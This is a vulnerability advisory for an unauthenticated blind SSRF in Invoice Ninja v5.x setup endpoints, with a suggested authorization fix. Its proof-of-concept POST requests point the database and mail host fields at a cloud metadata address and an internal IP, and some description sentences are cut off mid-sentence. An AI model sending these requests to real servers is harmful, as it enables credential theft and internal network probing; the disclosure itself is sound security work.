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CVE-2026-29925 - Invoice Ninja Unauthenticated SSRF

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```
# CVE-2026-29925: Invoice Ninja Unauthenticated Blind Server-Side Request Forgery
```

```
## CVE ID
```

```
CVE-2026-29925
```

```
## Description
```

```
Invoice Ninja v5.x contains an unauthenticated blind Server-Side Request Forgery
```

```
The `authorize()` method in `CheckDatabaseRequest.php` unconditionally returns
```

```
## Affected Versions
```

- v5.12.46
- v5.12.48
- Likely all v5.x versions

```
## Affected Component
```

- File: `app/Http/Requests/Setup/CheckDatabaseRequest.php`
- Endpoints: `POST /setup/check_db`, `POST /setup/check_mail`

```
## Vulnerability Type
```

```
Unauthenticated Blind Server-Side Request Forgery (SSRF)
```

```
## Impact
```

```
An attacker can supply arbitrary `db_host` and `db_port` parameters, causing
```

- Internal network scanning and enumeration
- Access to cloud metadata endpoints (AWS/GCP/Azure credential theft)
- Port scanning of internal hosts
- Bypassing network segmentation
- Attacking internal services (databases, caches, etc.)

Attack Vector

An unauthenticated attacker sends crafted POST requests to ``/setup/check_db``

Proof of Concept

****Request:****

```
` `http
```

```
POST /setup/check_db HTTP/1.1
```

```
Host: target.com
```

```
Content-Type: application/x-www-form-urlencoded
```

```
db_host=169.254.169.254&db_port=80&db_name=test&db_user=test&db_password=test
```

Alternative request to check internal services:

```
POST /setup/check_mail HTTP/1.1
```

```
Host: target.com
```

```
Content-Type: application/x-www-form-urlencoded
```

```
mail_host=192.168.1.1&mail_port=22&mail_user=test&mail_password=test
```

Suggested Fix

Update the `authorize()` method in `app/Http/Requests/Setup/CheckDatabaseRequest.php`:

```
public function authorize()  
{  
    return !Ninja::hasCompletedSetup();  
}
```

References

· <https://invoiceninja.com/> · <https://github.com/invoiceninja/invoiceninja> · <https://github.com/invoiceninja/invoiceninja/blob/v5-stable/app/Http/Requests/Setup/CheckDatabaseRequest.php>

Vendor Confirmation

The vendor has confirmed and acknowledged this vulnerability.

Discoverer

Turki Almatrafi

Disclosure Date

March 27, 2026